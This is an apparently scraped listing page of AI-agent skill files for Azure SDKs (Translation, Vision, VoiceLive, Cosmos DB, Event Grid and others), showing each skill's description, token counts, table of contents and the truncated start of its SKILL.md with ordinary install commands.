SKILL.mdcore6,956 bytesSKILL.mdcore6,956 bytesSKILL.mdcore6,956 bytesSKILL.mdcore6,956 bytesSKILL.mdcore6,956 bytesSKILL.mdcore6,956 bytesSKILL.mdcore6,956 bytesSKILL.mdcore6,956 bytesSKILL.mdcore6,956 bytesSKILL.mdcore6,956 bytesSKILL.mdcore6,956 bytesSKILL.mdcore6,956 bytesSKILL.mdcore6,956 bytesSKILL.mdcore6,956 bytesSKILL.mdcore6,956 bytesSKILL.mdcore6,956 bytes
Read SKILL.md
# Azure AI Document Translation SDK for Python
Client library for Azure AI Translator document translation service for batch document translation with format preservation.
## Installation
```bash
pip install azure-ai-translation-document
```
## Environment Variables
```bash
AZURE_DOCUMENT_TRANSLATION_ENDPOINT=https://<resource>.cognitiveservices.azure.comView the complete source on GitHubazure-ai-translation-text-py
When your agent uses it
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
1,671 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Basic Translation
- Translate to Multiple Languages
- Specify Source Language
- Language Detection
- Transliteration
- Dictionary Lookup
- Dictionary Examples
- Get Supported Languages
- Break Sentence
- Translation Options
- Async Client
- Client Methods
- Best Practices
- When to Use
Files
SKILL.mdcore7,501 bytesSKILL.mdcore7,501 bytesSKILL.mdcore7,501 bytesSKILL.mdcore7,501 bytesSKILL.mdcore7,501 bytesSKILL.mdcore7,501 bytesSKILL.mdcore7,501 bytesSKILL.mdcore7,501 bytesSKILL.mdcore7,501 bytesSKILL.mdcore7,501 bytesSKILL.mdcore7,501 bytesSKILL.mdcore7,501 bytesSKILL.mdcore7,501 bytesSKILL.mdcore7,501 bytesSKILL.mdcore7,501 bytesSKILL.mdcore7,501 bytesSKILL.mdcore7,501 bytesSKILL.mdcore7,501 bytes
Read SKILL.md
# Azure AI Text Translation SDK for Python
Client library for Azure AI Translator text translation service for real-time text translation, transliteration, and language operations.
## Installation
```bash
pip install azure-ai-translation-text
```
## Environment Variables
```bash
AZURE_TRANSLATOR_KEY=<your-api-key>View the complete source on GitHubazure-ai-translation-ts
When your agent uses it
Build translation applications using Azure Translation SDKs for JavaScript (@azure-rest/ai-translation-text, @azure-rest/ai-translation-document). Use when implementing text translation, transliter...
What it loads into context
Frontmatter
76 tokensAlways available to the agent
SKILL.md
1,682 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Text Translation Client
- Document Translation Client
- Key Types
- Best Practices
- When to Use
Files
SKILL.mdcore7,335 bytesSKILL.mdcore7,335 bytesSKILL.mdcore7,335 bytesSKILL.mdcore7,335 bytes
Read SKILL.md
# Azure Translation SDKs for TypeScript
Text and document translation with REST-style clients.
## Installation
```bash
# Text translation
npm install @azure-rest/ai-translation-text @azure/identity
# Document translation
npm install @azure-rest/ai-translation-document @azure/identity
```
View the complete source on GitHubazure-ai-vision-imageanalysis-java
When your agent uses it
Build image analysis applications with Azure AI Vision SDK for Java. Use when implementing image captioning, OCR text extraction, object detection, tagging, or smart cropping.
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
1,935 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Client Creation
- Visual Features
- Core Patterns
- Error Handling
- Environment Variables
- Image Requirements
- Regional Availability
- Trigger Phrases
- When to Use
Files
SKILL.mdcore8,109 bytesSKILL.mdcore8,109 bytes
Read SKILL.md
# Azure AI Vision Image Analysis SDK for Java
Build image analysis applications using the Azure AI Vision Image Analysis SDK for Java.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-ai-vision-imageanalysis</artifactId>
<version>1.1.0-beta.1</version>
</dependency>
```
View the complete source on GitHubazure-ai-vision-imageanalysis-py
When your agent uses it
What it loads into context
Frontmatter
91 tokensAlways available to the agent
SKILL.md
1,639 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Analyze Image from URL
- Analyze Image from File
- Image Caption
- Dense Captions (Multiple Regions)
- Tags
- Object Detection
- OCR (Text Extraction)
- People Detection
- Smart Cropping
- Async Client
- Visual Features
- Error Handling
- Image Requirements
- Best Practices
- When to Use
Files
SKILL.mdcore6,833 bytesSKILL.mdcore6,833 bytesSKILL.mdcore6,833 bytesSKILL.mdcore6,833 bytesSKILL.mdcore6,833 bytesSKILL.mdcore6,833 bytesSKILL.mdcore6,833 bytesSKILL.mdcore6,833 bytesSKILL.mdcore6,833 bytesSKILL.mdcore6,833 bytesSKILL.mdcore6,833 bytesSKILL.mdcore6,833 bytesSKILL.mdcore6,833 bytesSKILL.mdcore6,833 bytesSKILL.mdcore6,833 bytesSKILL.mdcore6,833 bytes
Read SKILL.md
# Azure AI Vision Image Analysis SDK for Python
Client library for Azure AI Vision 4.0 image analysis including captions, tags, objects, OCR, and more.
## Installation
```bash
pip install azure-ai-vision-imageanalysis
```
## Environment Variables
```bash
VISION_ENDPOINT=https://<resource>.cognitiveservices.azure.comView the complete source on GitHubazure-ai-voicelive-dotnet
When your agent uses it
What it loads into context
Frontmatter
116 tokensAlways available to the agent
SKILL.md
1,991 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Hierarchy
- Core Workflow
- Voice Options
- Supported Models
- Key Types Reference
- Best Practices
- Error Handling
- Audio Configuration
- Related SDKs
- Reference Links
- When to Use
Files
SKILL.mdcore8,643 bytesSKILL.mdcore8,643 bytesSKILL.mdcore8,643 bytes
Read SKILL.md
# Azure.AI.VoiceLive (.NET)
Real-time voice AI SDK for building bidirectional voice assistants with Azure AI.
## Installation
```bash
dotnet add package Azure.AI.VoiceLive
dotnet add package Azure.Identity
dotnet add package NAudio # For audio capture/playback
```
**Current Versions**: Stable v1.0.0, Preview v1.1.0-beta.1
View the complete source on GitHubazure-ai-voicelive-java
When your agent uses it
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
1,717 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Key Concepts
- Core Workflow
- Voice Configuration
- Function Calling
- Best Practices
- Error Handling
- Reference Links
- When to Use
Files
SKILL.mdcore7,510 bytesSKILL.mdcore7,510 bytes
Read SKILL.md
# Azure AI VoiceLive SDK for Java
Real-time, bidirectional voice conversations with AI assistants using WebSocket technology.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-ai-voicelive</artifactId>
<version>1.0.0-beta.2</version>
</dependency>
```
View the complete source on GitHubazure-ai-voicelive-py
When your agent uses it
Build real-time voice AI applications using Azure AI Voice Live SDK (azure-ai-voicelive). Use this skill when creating Python applications that need real-time bidirectional audio communication with...
What it loads into context
Frontmatter
70 tokensAlways available to the agent
SKILL.md
2,078 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Quick Start
- Core Architecture
- Session Configuration
- Audio Streaming
- Event Handling
- Common Patterns
- Voice Options
- Audio Formats
- Turn Detection Options
- Error Handling
- References
- When to Use
Files
SKILL.mdcore8,977 bytesSKILL.mdcore8,977 bytesSKILL.mdcore8,977 bytesSKILL.mdcore8,977 bytesSKILL.mdcore8,977 bytesSKILL.mdcore8,977 bytesSKILL.mdcore8,977 bytesSKILL.mdcore8,977 bytesSKILL.mdcore8,977 bytesSKILL.mdcore8,977 bytesSKILL.mdcore8,977 bytesSKILL.mdcore8,977 bytesSKILL.mdcore8,977 bytesSKILL.mdcore8,977 bytesSKILL.mdcore8,977 bytes
Read SKILL.md
# Azure AI Voice Live SDK
Build real-time voice AI applications with bidirectional WebSocket communication.
## Installation
```bash
pip install azure-ai-voicelive aiohttp azure-identity
```
## Environment Variables
```bash
AZURE_COGNITIVE_SERVICES_ENDPOINT=https://<region>.api.cognitive.microsoft.comView the complete source on GitHubazure-ai-voicelive-ts
When your agent uses it
What it loads into context
Frontmatter
128 tokensAlways available to the agent
SKILL.md
3,206 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Hierarchy
- Quick Start
- Session Configuration
- Event Handling (Azure SDK Pattern)
- Function Calling
- Voice Options
- Supported Models
- Turn Detection Options
- Audio Formats
- Key Types Reference
- Error Handling
- Logging
- Browser Usage
- Best Practices
- Reference Links
- When to Use
Files
SKILL.mdcore13,225 bytesSKILL.mdcore13,225 bytesSKILL.mdcore13,225 bytes
Read SKILL.md
# @azure/ai-voicelive (JavaScript/TypeScript)
Real-time voice AI SDK for building bidirectional voice assistants with Azure AI in Node.js and browser environments.
## Installation
```bash
npm install @azure/ai-voicelive @azure/identity
# TypeScript users
npm install @types/node
```
**Current Version**: 1.0.0-beta.3
View the complete source on GitHubazure-appconfiguration-java
When your agent uses it
What it loads into context
Frontmatter
81 tokensAlways available to the agent
SKILL.md
2,766 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Prerequisites
- Environment Variables
- Client Creation
- Key Concepts
- Configuration Setting Operations
- List and Filter Settings
- Feature Flags
- Secret References
- Read-Only Settings
- Snapshots
- Labels
- Async Operations
- Error Handling
- Best Practices
- Reference Links
- When to Use
Files
SKILL.mdcore13,139 bytesSKILL.mdcore13,139 bytes
Read SKILL.md
# Azure App Configuration SDK for Java
Client library for Azure App Configuration, a managed service for centralizing application configurations.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-data-appconfiguration</artifactId>
<version>1.8.0</version>
</dependency>
```
View the complete source on GitHubazure-appconfiguration-py
When your agent uses it
What it loads into context
Frontmatter
73 tokensAlways available to the agent
SKILL.md
1,233 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Configuration Settings
- List Settings
- Feature Flags
- Read-Only Settings
- Snapshots
- Async Client
- Client Operations
- Best Practices
- When to Use
Files
SKILL.mdcore5,736 bytesSKILL.mdcore5,736 bytesSKILL.mdcore5,736 bytesSKILL.mdcore5,736 bytesSKILL.mdcore5,736 bytesSKILL.mdcore5,736 bytesSKILL.mdcore5,736 bytesSKILL.mdcore5,736 bytesSKILL.mdcore5,736 bytesSKILL.mdcore5,736 bytesSKILL.mdcore5,736 bytesSKILL.mdcore5,736 bytesSKILL.mdcore5,736 bytesSKILL.mdcore5,736 bytesSKILL.mdcore5,736 bytesSKILL.mdcore5,736 bytesSKILL.mdcore5,736 bytesSKILL.mdcore5,736 bytesSKILL.mdcore5,736 bytes
Read SKILL.md
# Azure App Configuration SDK for Python
Centralized configuration management with feature flags and dynamic settings.
## Installation
```bash
pip install azure-appconfiguration
```
## Environment Variables
```bash
[Credential-related source omitted]View the complete source on GitHubazure-appconfiguration-ts
When your agent uses it
Build applications using Azure App Configuration SDK for JavaScript (@azure/app-configuration). Use when working with configuration settings, feature flags, Key Vault references, dynamic refresh, o...
What it loads into context
Frontmatter
60 tokensAlways available to the agent
SKILL.md
1,894 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- CRUD Operations
- App Configuration Provider
- Feature Flags
- Snapshots
- Labels
- Key Types
- Best Practices
- When to Use
Files
SKILL.mdcore8,362 bytesSKILL.mdcore8,362 bytesSKILL.mdcore8,362 bytes
Read SKILL.md
# Azure App Configuration SDK for TypeScript
Centralized configuration management with feature flags and dynamic refresh.
## Installation
```bash
# Low-level CRUD SDK
npm install @azure/app-configuration @azure/identity
# High-level provider (recommended for apps)
npm install @azure/app-configuration-provider @azure/identity
# Feature flag managementView the complete source on GitHubazure-communication-callautomation-java
When your agent uses it
Build call automation workflows with Azure Communication Services Call Automation Java SDK. Use when implementing IVR systems, call routing, call recording, DTMF recognition, text-to-speech, or AI-...
What it loads into context
Frontmatter
70 tokensAlways available to the agent
SKILL.md
1,812 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Client Creation
- Key Concepts
- Create Outbound Call
- Answer Incoming Call
- Play Audio (Text-to-Speech)
- Recognize DTMF Input
- Recognize Speech
- Call Recording
- Add Participant to Call
- Transfer Call
- Handle Events (Webhook)
- Hang Up Call
- Error Handling
- Environment Variables
- Trigger Phrases
- When to Use
Files
SKILL.mdcore8,485 bytesSKILL.mdcore8,485 bytes
Read SKILL.md
# Azure Communication Call Automation (Java)
Build server-side call automation workflows including IVR systems, call routing, recording, and AI-powered interactions.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-communication-callautomation</artifactId>
<version>1.6.0</version>
</dependency>
```
View the complete source on GitHubazure-communication-callingserver-java
When your agent uses it
Azure Communication Services CallingServer (legacy) Java SDK. Note - This SDK is deprecated. Use azure-communication-callautomation instead for new projects. Only use this skill when maintaining le...
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
641 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Migration to Call Automation
- Class Name Changes
- Legacy Client Creation
- Legacy Recording
- For New Development
- Trigger Phrases
- When to Use
Files
SKILL.mdcore2,930 bytes
Read SKILL.md
# Azure Communication CallingServer (Java) - DEPRECATED
> **⚠<U+FE0F> DEPRECATED**: This SDK has been renamed to **Call Automation**. For new projects, use `azure-communication-callautomation` instead. This skill is for maintaining legacy code only.
## Migration to Call Automation
```xml
<!-- OLD (deprecated) -->
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-communication-callingserver</artifactId>
<version>1.0.0-beta.5</version>
</dependency>
View the complete source on GitHubazure-communication-chat-java
When your agent uses it
Build real-time chat applications with Azure Communication Services Chat Java SDK. Use when implementing chat threads, messaging, participants, read receipts, typing notifications, or real-time cha...
What it loads into context
Frontmatter
62 tokensAlways available to the agent
SKILL.md
2,025 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Client Creation
- Key Concepts
- Create Chat Thread
- Send Messages
- Get Messages
- Update and Delete Messages
- Manage Participants
- Read Receipts
- Typing Notifications
- Thread Operations
- List Threads
- Pagination
- Error Handling
- Message Types
- Environment Variables
- Best Practices
- Trigger Phrases
- When to Use
Files
SKILL.mdcore9,615 bytesSKILL.mdcore9,615 bytes
Read SKILL.md
# Azure Communication Chat (Java)
Build real-time chat applications with thread management, messaging, participants, and read receipts.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-communication-chat</artifactId>
<version>1.6.0</version>
</dependency>
```
View the complete source on GitHubazure-communication-common-java
When your agent uses it
Azure Communication Services common utilities for Java. Use when working with CommunicationTokenCredential, user identifiers, token refresh, or shared authentication across ACS services.
What it loads into context
Frontmatter
57 tokensAlways available to the agent
SKILL.md
1,932 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Key Concepts
- CommunicationTokenCredential
- Entra ID (Azure AD) Authentication
- Communication Identifiers
- Identifier Parsing
- Type Checking Identifiers
- Token Access
- Dispose Credential
- Cloud Environments
- Environment Variables
- Best Practices
- Common Usage Patterns
- Trigger Phrases
- When to Use
Files
SKILL.mdcore9,753 bytesSKILL.mdcore9,753 bytes
Read SKILL.md
# Azure Communication Common (Java)
Shared authentication utilities and data structures for Azure Communication Services.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-communication-common</artifactId>
<version>1.4.0</version>
</dependency>
```
View the complete source on GitHubazure-communication-sms-java
When your agent uses it
Send SMS messages with Azure Communication Services SMS Java SDK. Use when implementing SMS notifications, alerts, OTP delivery, bulk messaging, or delivery reports.
What it loads into context
Frontmatter
59 tokensAlways available to the agent
SKILL.md
1,875 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Client Creation
- Send SMS to Single Recipient
- Send SMS to Multiple Recipients
- Send Options
- Response Handling
- Async Operations
- Error Handling
- Delivery Reports
- SmsSendResult Properties
- Environment Variables
- Best Practices
- Trigger Phrases
- When to Use
Files
SKILL.mdcore8,211 bytesSKILL.mdcore8,211 bytes
Read SKILL.md
# Azure Communication SMS (Java)
Send SMS messages to single or multiple recipients with delivery reporting.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-communication-sms</artifactId>
<version>1.2.0</version>
</dependency>
```
View the complete source on GitHubazure-compute-batch-java
When your agent uses it
What it loads into context
Frontmatter
80 tokensAlways available to the agent
SKILL.md
2,677 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Prerequisites
- Environment Variables
- Client Creation
- Key Concepts
- Pool Operations
- Job Operations
- Task Operations
- Node Operations
- Job Schedule Operations
- Error Handling
- Best Practices
- Reference Links
- When to Use
Files
SKILL.mdcore11,164 bytesSKILL.mdcore11,164 bytesSKILL.mdcore11,164 bytes
Read SKILL.md
# Azure Batch SDK for Java
Client library for running large-scale parallel and high-performance computing (HPC) batch jobs in Azure.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-compute-batch</artifactId>
<version>1.0.0-beta.5</version>
</dependency>
```
View the complete source on GitHubazure-containerregistry-py
When your agent uses it
What it loads into context
Frontmatter
70 tokensAlways available to the agent
SKILL.md
1,342 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- List Repositories
- Repository Operations
- List Tags
- Manifest Operations
- Tag Operations
- Upload and Download Artifacts
- Async Client
- Clean Up Old Images
- Client Operations
- Best Practices
- When to Use
Files
SKILL.mdcore6,247 bytesSKILL.mdcore6,247 bytesSKILL.mdcore6,247 bytesSKILL.mdcore6,247 bytesSKILL.mdcore6,247 bytesSKILL.mdcore6,247 bytesSKILL.mdcore6,247 bytesSKILL.mdcore6,247 bytesSKILL.mdcore6,247 bytesSKILL.mdcore6,247 bytesSKILL.mdcore6,247 bytesSKILL.mdcore6,247 bytesSKILL.mdcore6,247 bytesSKILL.mdcore6,247 bytesSKILL.mdcore6,247 bytesSKILL.mdcore6,247 bytesSKILL.mdcore6,247 bytesSKILL.mdcore6,247 bytesSKILL.mdcore6,247 bytesSKILL.mdcore6,247 bytes
Read SKILL.md
# Azure Container Registry SDK for Python
Manage container images, artifacts, and repositories in Azure Container Registry.
## Installation
```bash
pip install azure-containerregistry
```
## Environment Variables
```bash
AZURE_CONTAINERREGISTRY_ENDPOINT=https://<registry-name>.azurecr.ioView the complete source on GitHubazure-cosmos-db-py
When your agent uses it
Build Azure Cosmos DB NoSQL services with Python/FastAPI following production-grade patterns. Use when implementing database client setup with dual auth (DefaultAzureCredential + emulator), service...
What it loads into context
Frontmatter
60 tokensAlways available to the agent
SKILL.md
1,691 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Architecture Overview
- Quick Start
- Core Principles
- Reference Files
- Template Files
- Quality Attributes (NFRs)
- When to Use
Files
SKILL.mdcore8,978 bytesSKILL.mdcore8,978 bytesSKILL.mdcore8,978 bytesSKILL.mdcore8,978 bytesSKILL.mdcore8,978 bytesSKILL.mdcore8,978 bytesSKILL.mdcore8,978 bytesSKILL.mdcore8,978 bytesSKILL.mdcore8,978 bytes
Read SKILL.md
# Cosmos DB Service Implementation
Build production-grade Azure Cosmos DB NoSQL services following clean code, security best practices, and TDD principles.
## Installation
```bash
pip install azure-cosmos azure-identity
```
## Environment Variables
```bash
COSMOS_ENDPOINT=https://<account>.documents.azure.com:443/View the complete source on GitHubazure-cosmos-java
When your agent uses it
What it loads into context
Frontmatter
81 tokensAlways available to the agent
SKILL.md
1,710 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Hierarchy
- Core Workflow
- Key Concepts
- Best Practices
- Error Handling
- Reference Links
- When to Use
Files
SKILL.mdcore7,572 bytesSKILL.mdcore7,572 bytes
Read SKILL.md
# Azure Cosmos DB SDK for Java
Client library for Azure Cosmos DB NoSQL API with global distribution and reactive patterns.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-cosmos</artifactId>
<version>LATEST</version>
</dependency>
```
View the complete source on GitHubazure-cosmos-py
When your agent uses it
What it loads into context
Frontmatter
79 tokensAlways available to the agent
SKILL.md
1,616 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Hierarchy
- Core Workflow
- Queries
- Partition Keys
- Throughput
- Async Client
- Error Handling
- Best Practices
- Reference Files
- When to Use
Files
SKILL.mdcore6,957 bytesSKILL.mdcore6,957 bytesSKILL.mdcore6,957 bytesSKILL.mdcore6,957 bytesSKILL.mdcore6,957 bytesSKILL.mdcore6,957 bytesSKILL.mdcore6,957 bytesSKILL.mdcore6,957 bytesSKILL.mdcore6,957 bytesSKILL.mdcore6,957 bytesSKILL.mdcore6,957 bytesSKILL.mdcore6,957 bytesSKILL.mdcore6,957 bytesSKILL.mdcore6,957 bytesSKILL.mdcore6,957 bytesSKILL.mdcore6,957 bytesSKILL.mdcore6,957 bytesSKILL.mdcore6,957 bytes
Read SKILL.md
# Azure Cosmos DB SDK for Python
Client library for Azure Cosmos DB NoSQL API — globally distributed, multi-model database.
## Installation
```bash
pip install azure-cosmos azure-identity
```
## Environment Variables
```bash
COSMOS_ENDPOINT=https://<account>.documents.azure.com:443/View the complete source on GitHubazure-cosmos-rust
When your agent uses it
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
818 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Hierarchy
- Core Workflow
- Key Auth (Optional)
- Best Practices
- Reference Links
- When to Use
Files
SKILL.mdcore3,406 bytesSKILL.mdcore3,406 bytesSKILL.mdcore3,406 bytesSKILL.mdcore3,406 bytes
Read SKILL.md
# Azure Cosmos DB SDK for Rust
Client library for Azure Cosmos DB NoSQL API — globally distributed, multi-model database.
## Installation
```sh
cargo add azure_data_cosmos azure_identity
```
## Environment Variables
```bash
COSMOS_ENDPOINT=https://<account>.documents.azure.com:443/View the complete source on GitHubazure-cosmos-ts
When your agent uses it
What it loads into context
Frontmatter
100 tokensAlways available to the agent
SKILL.md
2,818 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Resource Hierarchy
- Core Operations
- Queries
- Bulk Operations
- Partition Keys
- Error Handling
- Optimistic Concurrency (ETags)
- TypeScript Types Reference
- Best Practices
- Common Patterns
- Related SDKs
- When to Use
Files
SKILL.mdcore11,321 bytesSKILL.mdcore11,321 bytesSKILL.mdcore11,321 bytes
Read SKILL.md
# @azure/cosmos (TypeScript/JavaScript)
Data plane SDK for Azure Cosmos DB NoSQL API operations — CRUD on documents, queries, bulk operations.
> **⚠<U+FE0F> Data vs Management Plane**
> - **This SDK (@azure/cosmos)**: CRUD operations on documents, queries, stored procedures
> - **Management SDK (@azure/arm-cosmosdb)**: Create accounts, databases, containers via ARM
## Installation
```bash
npm install @azure/cosmos @azure/identity
```
View the complete source on GitHubazure-data-tables-java
When your agent uses it
Build table storage applications with Azure Tables SDK for Java. Use when working with Azure Table Storage or Cosmos DB Table API for NoSQL key-value data, schemaless storage, or structured data at...
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
2,070 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Client Creation
- Key Concepts
- Core Patterns
- Typed Entities
- Error Handling
- Environment Variables
- Best Practices
- Trigger Phrases
- When to Use
Files
SKILL.mdcore9,079 bytesSKILL.mdcore9,079 bytes
Read SKILL.md
# Azure Tables SDK for Java
Build table storage applications using the Azure Tables SDK for Java. Works with both Azure Table Storage and Cosmos DB Table API.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-data-tables</artifactId>
<version>12.6.0-beta.1</version>
</dependency>
```
View the complete source on GitHubazure-data-tables-py
When your agent uses it
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
1,362 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Types
- Table Operations
- Entity Operations
- Query Entities
- Batch Operations
- Async Client
- Data Types
- Best Practices
- When to Use
Files
SKILL.mdcore5,741 bytesSKILL.mdcore5,741 bytesSKILL.mdcore5,741 bytesSKILL.mdcore5,741 bytesSKILL.mdcore5,741 bytesSKILL.mdcore5,741 bytesSKILL.mdcore5,741 bytesSKILL.mdcore5,741 bytesSKILL.mdcore5,741 bytesSKILL.mdcore5,741 bytesSKILL.mdcore5,741 bytesSKILL.mdcore5,741 bytesSKILL.mdcore5,741 bytesSKILL.mdcore5,741 bytesSKILL.mdcore5,741 bytes
Read SKILL.md
# Azure Tables SDK for Python
NoSQL key-value store for structured data (Azure Storage Tables or Cosmos DB Table API).
## Installation
```bash
pip install azure-data-tables azure-identity
```
## Environment Variables
```bash
# Azure Storage TablesView the complete source on GitHubazure-eventgrid-dotnet
When your agent uses it
What it loads into context
Frontmatter
102 tokensAlways available to the agent
SKILL.md
3,103 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Client Hierarchy
- Authentication
- Publishing Events
- Pull Delivery (Namespaces)
- Consuming Events (Azure Functions)
- Parsing Events
- System Events
- Key Types Reference
- Event Schemas Comparison
- Best Practices
- Error Handling
- Failover Pattern
- Related SDKs
- Reference Links
- When to Use
Files
SKILL.mdcore13,402 bytesSKILL.mdcore13,402 bytesSKILL.mdcore13,402 bytes
Read SKILL.md
# Azure.Messaging.EventGrid (.NET)
Client library for publishing events to Azure Event Grid topics, domains, and namespaces.
## Installation
```bash
# For topics and domains (push delivery)
dotnet add package Azure.Messaging.EventGrid
# For namespaces (pull delivery)
dotnet add package Azure.Messaging.EventGrid.Namespaces
# For CloudNative CloudEvents interopView the complete source on GitHubazure-eventgrid-java
When your agent uses it
Build event-driven applications with Azure Event Grid SDK for Java. Use when publishing events, implementing pub/sub patterns, or integrating with Azure services via events.
What it loads into context
Frontmatter
58 tokensAlways available to the agent
SKILL.md
1,950 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Client Creation
- Event Types
- Core Patterns
- Receiving Events
- Event Grid Namespaces (MQTT/Pull)
- Error Handling
- Environment Variables
- Best Practices
- Trigger Phrases
- When to Use
Files
SKILL.mdcore8,485 bytesSKILL.mdcore8,485 bytesSKILL.mdcore8,485 bytes
Read SKILL.md
# Azure Event Grid SDK for Java
Build event-driven applications using the Azure Event Grid SDK for Java.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-messaging-eventgrid</artifactId>
<version>4.27.0</version>
</dependency>
```
View the complete source on GitHubazure-eventgrid-py
When your agent uses it
What it loads into context
Frontmatter
74 tokensAlways available to the agent
SKILL.md
1,067 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Event Types
- Publish CloudEvents
- Publish EventGridEvents
- Event Properties
- Async Client
- Namespace Topics (Event Grid Namespaces)
- Best Practices
- When to Use
Files
SKILL.mdcore4,746 bytesSKILL.mdcore4,746 bytesSKILL.mdcore4,746 bytesSKILL.mdcore4,746 bytesSKILL.mdcore4,746 bytesSKILL.mdcore4,746 bytesSKILL.mdcore4,746 bytesSKILL.mdcore4,746 bytesSKILL.mdcore4,746 bytesSKILL.mdcore4,746 bytesSKILL.mdcore4,746 bytes
Read SKILL.md
# Azure Event Grid SDK for Python
Event routing service for building event-driven applications with pub/sub semantics.
## Installation
```bash
pip install azure-eventgrid azure-identity
```
## Environment Variables
```bash
EVENTGRID_TOPIC_ENDPOINT=https://<topic-name>.<region>.eventgrid.azure.net/api/eventsView the complete source on GitHubazure-eventhub-dotnet
When your agent uses it
What it loads into context
Frontmatter
117 tokensAlways available to the agent
SKILL.md
2,309 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Types
- Core Workflow
- EventPosition Options
- ASP.NET Core Integration
- Best Practices
- Error Handling
- Checkpointing Strategies
